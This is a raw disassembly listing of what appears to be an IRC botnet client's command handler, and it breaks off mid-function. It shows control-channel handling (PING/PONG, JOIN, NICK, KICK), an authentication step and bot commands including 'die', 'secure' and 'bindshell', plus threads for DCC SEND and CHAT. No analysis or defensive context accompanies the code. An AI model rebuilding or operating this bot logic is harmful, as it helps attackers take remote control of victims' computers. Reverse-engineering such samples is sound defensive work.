var_A5C = byte ptr -0A5Ch var_9DC = dword ptr -9DCh var_9D8 = dword ptr -9D8h var_9D4 = dword ptr -9D4h var_9D0 = dword ptr -9D0h var_9CC = byte ptr -9CCh var_96B = byte ptr -96Bh var_96A = byte ptr -96Ah var_968 = byte ptr -968h var_967 = byte ptr -967h var_95E = byte ptr -95Eh var_95C = byte ptr -95Ch var_95A = byte ptr -95Ah var_959 = byte ptr -959h var_8CC = byte ptr -8CCh var_8C0 = byte ptr -8C0h var_8B0 = dword ptr -8B0h var_8AC = byte ptr -8ACh var_890 = byte ptr -890h var_870 = dword ptr -870h var_844 = dword ptr -844h var_840 = word ptr -840h var_82C = byte ptr -82Ch var_81C = byte ptr -81Ch var_79C = byte ptr -79Ch var_71C = dword ptr -71Ch var_718 = dword ptr -718h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_700 = dword ptr -700h var_6FC = dword ptr -6FCh var_6F4 = dword ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E0 = dword ptr -6E0h var_6DC = byte ptr -6DCh var_65C = dword ptr -65Ch var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = dword ptr -64Ch var_644 = dword ptr -644h var_640 = dword ptr -640h var_63C = dword ptr -63Ch var_634 = dword ptr -634h var_630 = byte ptr -630h var_5B0 = dword ptr -5B0h var_5AC = dword ptr -5ACh var_5A8 = dword ptr -5A8h var_5A4 = dword ptr -5A4h var_5A0 = dword ptr -5A0h var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = dword ptr -590h var_588 = byte ptr -588h var_578 = byte ptr -578h var_4F8 = byte ptr -4F8h var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_438 = byte ptr -438h var_434 = dword ptr -434h var_430 = byte ptr -430h var_3B8 = word ptr -3B8h var_3B4 = dword ptr -3B4h var_3B0 = dword ptr -3B0h var_3AC = dword ptr -3ACh var_3A8 = dword ptr -3A8h var_3A4 = dword ptr -3A4h var_3A0 = dword ptr -3A0h var_39C = dword ptr -39Ch var_398 = byte ptr -398h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = byte ptr -304h var_2E8 = byte ptr -2E8h var_2E4 = dword ptr -2E4h var_2D8 = word ptr -2D8h var_2D6 = word ptr -2D6h var_2D4 = dword ptr -2D4h var_2C8 = byte ptr -2C8h var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 29B0h call sub_4181D0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C8] push ebx push eax mov [ebp+var_A8], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C4], ebx call sub_417700 push 1Bh lea eax, [ebp+var_304] push [ebp+arg_10] push eax call sub_417760 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40622C push esi lea eax, [ebp+var_2020] push ebx push eax call sub_417700 dec esi lea eax, [ebp+var_2020] push esi push [ebp+arg_0] push eax call sub_417760 lea eax, [ebp+var_2020] push offset asc_437B88 ; " :" push eax call sub_417E00 mov [ebp+var_C], eax lea eax, [ebp+var_2020] push esi push eax lea eax, [ebp+var_2420] push eax call sub_417760 lea eax, [ebp+var_2420] push offset asc_437B8C ; " !" push eax call sub_418AC0 xor edi, edi add esp, 34h inc edi mov [ebp+var_94], eax mov esi, edi loc_401D4E: ; CODE XREF: sub_401C87+DFj push 437B8Eh push ebx call sub_418AC0 mov [ebp+esi*4+var_94], eax inc esi pop ecx cmp esi, 20h pop ecx jl short loc_401D4E mov esi, [ebp+var_94] cmp esi, ebx jz loc_4075FD cmp [ebp+var_90], ebx jz loc_4075FD push 100h lea eax, [ebp+var_9CC] push ebx push eax call sub_417700 add esp, 0Ch push 1Fh pop edx loc_401D9A: ; CODE XREF: sub_401C87+147j lea ecx, [ebp+edx*4+var_94] mov eax, [ecx] cmp eax, ebx jz short loc_401DCD cmp byte ptr [eax], 2Dh jnz short loc_401DD0 cmp [eax+2], bl jnz short loc_401DD0 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_9CC], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401DCD: ; CODE XREF: sub_401C87+11Ej dec edx jns short loc_401D9A loc_401DD0: ; CODE XREF: sub_401C87+123j ; sub_401C87+128j cmp [ebp+var_959], bl jz short loc_401DDB mov [ebp+var_8], edi loc_401DDB: ; CODE XREF: sub_401C87+14Fj cmp [ebp+var_95E], bl jz short loc_401DE9 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401DE9: ; CODE XREF: sub_401C87+15Aj cmp byte ptr [esi], 0Ah jz short loc_401E23 push 7Fh lea eax, [ebp+var_B60] push esi push eax call sub_417760 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_417760 lea eax, [ebp+var_C0] push 437B90h push eax call sub_418AC0 add esp, 20h loc_401E23: ; CODE XREF: sub_401C87+165j push esi push offset aPing ; "PING" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_401E74 push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_407604 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_4075FD push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_407604 add esp, 10h jmp loc_4075FD ; --------------------------------------------------------------------------- loc_401E74: ; CODE XREF: sub_401C87+1ABj mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4075BC push esi push offset a005 ; "005" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4075BC push esi push offset a302 ; "302" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_401EE6 push offset a@ ; "@" push [ebp+var_88] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz loc_4075FD inc eax push 9Fh push eax push [ebp+arg_1C] call sub_417760 add esp, 0Ch jmp loc_4075FD ; --------------------------------------------------------------------------- loc_401EE6: ; CODE XREF: sub_401C87+22Cj push esi push offset a433 ; "433" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_401F24 push ebx push dword_4370A4 push dword_4370A0 push [ebp+arg_10] call sub_409361 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_407604 add esp, 1Ch jmp loc_4075FD ; --------------------------------------------------------------------------- loc_401F24: ; CODE XREF: sub_401C87+26Ej mov esi, [ebp+arg_18] mov [ebp+var_C8], 3 mov edi, 80h loc_401F36: ; CODE XREF: sub_401C87+2D4j lea eax, [ebp+var_B60] push eax push esi call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_401F53 mov [ebp+var_A4], 1 loc_401F53: ; CODE XREF: sub_401C87+2C0j add esi, edi dec [ebp+var_C8] jnz short loc_401F36 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40203F mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401F82: ; CODE XREF: sub_401C87+37Aj cmp [esi], bl jz short loc_401FFC push 7Fh lea eax, [ebp+var_B60] push esi push eax call sub_417760 add esp, 0Ch cmp [ebp+var_88], ebx jz short loc_401FFC push [ebp+var_88] lea eax, [ebp+var_C0] push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_401FFC lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2C8] push offset unk_437BE0 push eax call sub_417CB0 lea eax, [ebp+var_2C8] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_407604 lea eax, [ebp+var_2C8] push eax call sub_40F927 add esp, 20h loc_401FFC: ; CODE XREF: sub_401C87+2FDj ; sub_401C87+317j ... add esi, edi dec [ebp+arg_24] jnz loc_401F82 push [ebp+var_88] push [ebp+arg_10] call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40622C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40202F: ; CODE XREF: sub_401C87+5F4j ; sub_401C87+892j ... push [ebp+arg_4] call sub_407604 loc_402037: ; CODE XREF: sub_401C87+1FFEj ; sub_401C87+201Bj ... add esp, 10h jmp loc_40622C ; --------------------------------------------------------------------------- loc_40203F: ; CODE XREF: sub_401C87+2EBj push esi push offset aNick ; "NICK" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_402187 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_402068: ; CODE XREF: sub_401C87+433j lea eax, [ebp+var_B60] push eax push esi call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_4020B5 lea eax, [ebp+var_B60] push 21h push eax call sub_418970 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_4020B5 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_418870 push [ebp+arg_1C] push edi call sub_418880 add esp, 10h mov edi, 80h loc_4020B5: ; CODE XREF: sub_401C87+3F2j ; sub_401C87+409j add esi, edi dec [ebp+arg_0] jnz short loc_402068 cmp [ebp+arg_24], ebx jz loc_40622C push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_4020EF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_417760 loc_4020E7: ; CODE XREF: sub_401C87+18FCj add esp, 0Ch jmp loc_40622C ; --------------------------------------------------------------------------- loc_4020EF: ; CODE XREF: sub_401C87+451j mov edi, [ebp+arg_18] xor esi, esi loc_4020F4: ; CODE XREF: sub_401C87+48Ej cmp [edi], bl jz short loc_40210B lea eax, [ebp+var_B60] push eax push edi call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40211C loc_40210B: ; CODE XREF: sub_401C87+46Fj inc esi add edi, 80h cmp esi, 3 jl short loc_4020F4 jmp loc_40622C ; --------------------------------------------------------------------------- loc_40211C: ; CODE XREF: sub_401C87+482j lea eax, [ebp+var_B60] push 21h push eax call sub_418970 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40622C push eax call sub_414EC0 push [ebp+arg_24] mov edi, eax call sub_414EC0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40622C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_417CB0 push ebx lea eax, [ebp+var_890] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40764A add esp, 24h jmp loc_40622C ; --------------------------------------------------------------------------- loc_402187: ; CODE XREF: sub_401C87+3C7j push esi push offset aPart ; "PART" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_4021A9 push esi push offset aQuit ; "QUIT" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_4021D6 loc_4021A9: ; CODE XREF: sub_401C87+50Fj mov edi, [ebp+arg_18] xor esi, esi loc_4021AE: ; CODE XREF: sub_401C87+547j cmp [edi], bl jz short loc_4021C4 push [ebp+var_94] push edi call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40221F loc_4021C4: ; CODE XREF: sub_401C87+529j inc esi add edi, 80h cmp esi, 3 jl short loc_4021AE mov esi, [ebp+var_90] loc_4021D6: ; CODE XREF: sub_401C87+520j push esi push offset a353 ; "353" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_402280 push [ebp+var_84] push [ebp+arg_8] call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402208 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402208: ; CODE XREF: sub_401C87+576j push [ebp+var_84] push offset unk_437C44 loc_402213: ; CODE XREF: sub_401C87+2380j ; sub_401C87+2707j ... call sub_40F99B loc_402218: ; CODE XREF: sub_401C87+18ACj pop ecx loc_402219: ; CODE XREF: sub_401C87+4421j pop ecx jmp loc_40622C ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_401C87+53Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C8] push offset unk_437C64 push eax call sub_417CB0 lea eax, [ebp+var_2C8] push eax call sub_40F927 push [ebp+var_90] push offset aPart_0 ; "PART" call sub_418A30 add esp, 18h test eax, eax jnz loc_40622C lea eax, [ebp+var_2C8] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_40202F ; --------------------------------------------------------------------------- loc_402280: ; CODE XREF: sub_401C87+55Ej push esi push offset aPrivmsg ; "PRIVMSG" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_4022C3 push esi push offset aNotice ; "NOTICE" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_4022C3 push esi push offset a332 ; "332" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40743C cmp dword_43708C, ebx jz loc_40743C loc_4022C3: ; CODE XREF: sub_401C87+608j ; sub_401C87+619j push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40243D push esi push offset aNotice_0 ; "NOTICE" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40243D mov eax, [ebp+var_88] inc [ebp+var_84] mov [ebp+var_A8], 4 mov [ebp+var_8C], eax loc_402309: ; CODE XREF: sub_401C87+870j ; sub_401C87+8A6j ... mov eax, [ebp+var_A8] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_94] mov eax, [edi] push eax push offset dword_437CC4 mov [ebp+arg_20], eax call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4026DF push [ebp+esi+var_90] push offset aSend_1 ; "SEND" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4025A7 cmp [ebp+var_A4], ebx jz loc_40257D push [ebp+esi+var_8C] lea eax, [ebp+var_CF8] push offset aS_21 ; "%s" push eax call sub_417CB0 push [ebp+esi+var_88] lea eax, [ebp+var_D0C] push offset aS_22 ; "%s" push eax call sub_417CB0 push [ebp+esi+var_84] call sub_417960 mov [ebp+var_B74], eax mov eax, [ebp+arg_4] mov [ebp+var_D14], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_BF4] push eax call sub_417760 mov eax, [ebp+var_4] mov [ebp+var_B6C], eax mov eax, [ebp+var_8] mov [ebp+var_B68], eax lea eax, [ebp+var_BF4] push eax lea eax, [ebp+var_CF8] push eax lea eax, [ebp+var_2C8] push offset unk_437CDC push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 1Ah push eax call sub_409663 add esp, 44h mov [ebp+var_B70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D14] push ebx push eax push offset sub_410A18 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_B70] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jz loc_40256C jmp loc_402562 ; --------------------------------------------------------------------------- loc_40243D: ; CODE XREF: sub_401C87+64Bj ; sub_401C87+660j push esi push offset aNotice_1 ; "NOTICE" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402455 mov [ebp+var_4], 1 loc_402455: ; CODE XREF: sub_401C87+7C5j mov edi, [ebp+var_8C] cmp edi, ebx jz loc_40622C push offset asc_437D14 ; "#" push edi call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_402479 cmp [ebp+var_4], ebx jz short loc_402485 loc_402479: ; CODE XREF: sub_401C87+7EBj lea edi, [ebp+var_C0] mov [ebp+var_8C], edi loc_402485: ; CODE XREF: sub_401C87+7F0j cmp [ebp+var_88], ebx jz loc_40622C inc [ebp+var_88] jz short loc_4024CD cmp [ebp+arg_10], ebx jz short loc_4024CD lea eax, [ebp+var_304] push eax call sub_414EC0 push eax lea eax, [ebp+var_304] push [ebp+var_88] push eax call sub_418830 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A8], eax loc_4024CD: ; CODE XREF: sub_401C87+810j ; sub_401C87+815j mov eax, [ebp+var_A8] shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_94] cmp esi, ebx jz loc_40622C push esi push offset dword_437D18 call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_402309 cmp byte ptr [edi], 23h jz short loc_40251E mov eax, dword_4D6518 mov eax, off_4371D8[eax*4] cmp [eax], bl jz short loc_40251E push eax push edi push offset dword_437D24 jmp loc_40202F ; --------------------------------------------------------------------------- loc_40251E: ; CODE XREF: sub_401C87+879j ; sub_401C87+889j push esi push offset dword_437D40 call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_402309 mov eax, [ebp+arg_8] mov eax, [ebp+eax+var_90] cmp eax, ebx jz loc_402309 cmp byte ptr [edi], 23h jz loc_402309 push eax push edi push offset dword_437D48 jmp loc_40202F ; --------------------------------------------------------------------------- loc_40255A: ; CODE XREF: sub_401C87+8E1j push 32h call dword_4E033C ; Sleep loc_402562: ; CODE XREF: sub_401C87+7B1j cmp [ebp+var_B64], ebx jz short loc_40255A jmp short loc_40259F ; --------------------------------------------------------------------------- loc_40256C: ; CODE XREF: sub_401C87+7ABj call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_437D60 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_40257D: ; CODE XREF: sub_401C87+6CFj lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C8] push [ebp+esi+var_8C] push offset unk_437DA0 push eax call sub_417CB0 add esp, 10h loc_40259F: ; CODE XREF: sub_401C87+8E3j ; sub_401C87+A31j ... xor esi, esi inc esi jmp loc_405EC4 ; --------------------------------------------------------------------------- loc_4025A7: ; CODE XREF: sub_401C87+6C3j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_4026F5 cmp [ebp+var_A4], ebx jz loc_4026CE push 1Bh call sub_4098A5 test eax, eax pop ecx jnz loc_4026BD push [ebp+esi+var_88] lea eax, [ebp+var_1168] push offset aS ; "%s" push eax call sub_417CB0 push [ebp+esi+var_84] call sub_417960 mov [ebp+var_FD0], eax mov eax, [ebp+arg_4] mov [ebp+var_1170], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_1050] push eax call sub_417760 mov eax, [ebp+var_4] mov [ebp+var_FC8], eax mov eax, [ebp+var_8] mov [ebp+var_FC4], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C8] push offset unk_437DF0 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 1Bh push eax call sub_409663 add esp, 34h mov [ebp+var_FCC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1170] push ebx push eax push offset sub_4104B2 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_FCC] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_4026B0 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_437E10 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_4026A8: ; CODE XREF: sub_401C87+A2Fj push 32h call dword_4E033C ; Sleep loc_4026B0: ; CODE XREF: sub_401C87+A0Ej cmp [ebp+var_FC0], ebx jz short loc_4026A8 jmp loc_40259F ; --------------------------------------------------------------------------- loc_4026BD: ; CODE XREF: sub_401C87+951j lea eax, [ebp+var_C0] push eax push offset unk_437E48 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_4026CE: ; CODE XREF: sub_401C87+941j lea eax, [ebp+var_C0] push eax push offset unk_437E78 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_4026DF: ; CODE XREF: sub_401C87+6A8j mov eax, [ebp+arg_20] lea ecx, [eax+1] mov al, [eax] cmp al, byte_437098 mov [edi], ecx jnz loc_40622C loc_4026F5: ; CODE XREF: sub_401C87+935j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+arg_20], edi call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407444 push edi push offset asc_437EB2 ; "l" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407444 cmp [ebp+var_A4], ebx jnz short loc_402746 push [ebp+var_90] push offset a332_0 ; "332" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40743C loc_402746: ; CODE XREF: sub_401C87+AA3j cmp [ebp+arg_28], ebx jnz loc_40743C xor edi, edi cmp dword_437A40, ebx jle loc_4028EA mov [ebp+arg_8], offset dword_448820 loc_402764: ; CODE XREF: sub_401C87+AFCj push [ebp+arg_20] push [ebp+arg_8] call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40278A add [ebp+arg_8], 0B8h inc edi cmp edi, dword_437A40 jl short loc_402764 jmp loc_4028EA ; --------------------------------------------------------------------------- loc_40278A: ; CODE XREF: sub_401C87+AECj push offset asc_437EB8 ; " :" push [ebp+arg_0] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz loc_40622C mov cl, byte_437098 imul edi, 0B8h mov [eax+2], cl mov cl, byte_437098 mov [eax+3], cl lea ecx, dword_448838[edi] push 9Fh add eax, 4 push ecx push eax call sub_417760 lea eax, dword_448820[edi] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_C], eax lea edi, [ebp+esi+var_54] loc_4027E5: ; CODE XREF: sub_401C87+BF8j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD ; "$%d-" push eax call sub_417CB0 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417E00 add esp, 14h test eax, eax jz short loc_402847 cmp [edi], ebx jz short loc_40284B push [ebp+arg_C] call sub_414EC0 add [ebp+var_C], eax pop ecx jz short loc_402876 push dword ptr [edi-4] push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz short loc_402876 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4118FD add esp, 0Ch jmp short loc_402876 ; --------------------------------------------------------------------------- loc_402847: ; CODE XREF: sub_401C87+B86j cmp [edi], ebx jnz short loc_402876 loc_40284B: ; CODE XREF: sub_401C87+B8Aj lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_14] push eax call sub_417760 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4118FD add esp, 18h loc_402876: ; CODE XREF: sub_401C87+B98j ; sub_401C87+BA9j ... dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg loc_4027E5 lea eax, [ebp+esi+var_54] mov [ebp+arg_8], 10h mov edi, eax loc_402892: ; CODE XREF: sub_401C87+C57j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_417CB0 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417E00 add esp, 14h test eax, eax jz short loc_4028D5 mov eax, [edi] cmp eax, ebx jz short loc_4028D5 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4118FD add esp, 0Ch loc_4028D5: ; CODE XREF: sub_401C87+C33j ; sub_401C87+C39j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_402892 mov [ebp+var_C4], 1 loc_4028EA: ; CODE XREF: sub_401C87+AD0j ; sub_401C87+AFEj mov eax, [ebp+arg_20] mov al, [eax] cmp al, byte_437098 jz short loc_402903 cmp [ebp+var_C4], ebx jz loc_402AE0 loc_402903: ; CODE XREF: sub_401C87+C6Ej push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4118FD lea eax, [ebp+var_C0] push eax push offset aUser ; "$user" push edi call sub_4118FD push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_4118FD push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_409361 push eax push offset aRndnick ; "$rndnick" push edi call sub_4118FD add esp, 40h push [ebp+arg_14] push offset aServer ; "$server" push edi call sub_4118FD mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417E00 add esp, 14h jmp loc_402A62 ; --------------------------------------------------------------------------- loc_40297A: ; CODE XREF: sub_401C87+DDDj push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_417E00 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_417760 lea eax, [ebp+var_A0] push offset asc_437EFE ; ")" push eax call sub_418AC0 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_4029C2 cmp [ebp+var_A0], 39h jle short loc_4029D8 loc_4029C2: ; CODE XREF: sub_401C87+D30j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_417760 add esp, 0Ch loc_4029D8: ; CODE XREF: sub_401C87+D39j lea eax, [ebp+var_A0] push eax call sub_417960 test eax, eax pop ecx jle short loc_4029FB lea eax, [ebp+var_A0] push eax call sub_417960 pop ecx mov [ebp+var_14], al jmp short loc_402A0C ; --------------------------------------------------------------------------- loc_4029FB: ; CODE XREF: sub_401C87+D60j call sub_417DC0 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_402A0C: ; CODE XREF: sub_401C87+D72j lea eax, [ebp+var_A0] mov [ebp+var_13], bl push eax call sub_414EC0 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_417700 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_417760 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4118FD push edi push [ebp+arg_0] call sub_417E00 add esp, 30h loc_402A62: ; CODE XREF: sub_401C87+CEEj test eax, eax jnz loc_40297A mov edi, 1FFh lea eax, [ebp+var_2020] push edi push [ebp+arg_0] push eax call sub_417760 lea eax, [ebp+var_2020] push edi push eax lea eax, [ebp+var_2420] push eax call sub_417760 lea eax, [ebp+var_2420] push offset asc_437F04 ; " " push eax call sub_418AC0 xor edi, edi add esp, 20h mov [ebp+var_94], eax inc edi loc_402AB0: ; CODE XREF: sub_401C87+E41j push 437F06h push ebx call sub_418AC0 mov [ebp+edi*4+var_94], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_402AB0 lea eax, [ebp+esi+var_94] mov ecx, [eax] cmp ecx, ebx jz loc_40622C add ecx, 3 mov [eax], ecx loc_402AE0: ; CODE XREF: sub_401C87+C76j mov edi, [ebp+esi+var_94] push edi push offset aRndnick_0 ; "rndnick" mov [ebp+arg_20], edi call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4073EF push edi push offset aRn ; "rn" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4073EF push edi push offset aDie ; "die" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40455C push edi push offset aD_1 ; "d" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40455C push edi push offset aLogout ; "logout" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044BE push edi push offset aLo ; "lo" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044BE push edi push offset aVersion ; "version" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044AF push edi push offset aVer ; "ver" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044AF push edi push offset aDedication ; "dedication" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044A5 push edi push offset aDed ; "ded" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4044A5 push edi push offset aSecure ; "secure" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4043A8 push edi push offset aSec ; "sec" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4043A8 push edi push offset aUnsecure ; "unsecure" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4043A8 push edi push offset aUnsec ; "unsec" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4043A8 push edi push offset aBindshell ; "bindshell" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4042A3 push edi push offset aBd ; "bd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4042A3 push edi push offset aBindshellstop ; "bindshellstop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_402C7A push [ebp+esi+var_90] push 6 push offset aServer_2 ; "Server" push offset dword_437F8C 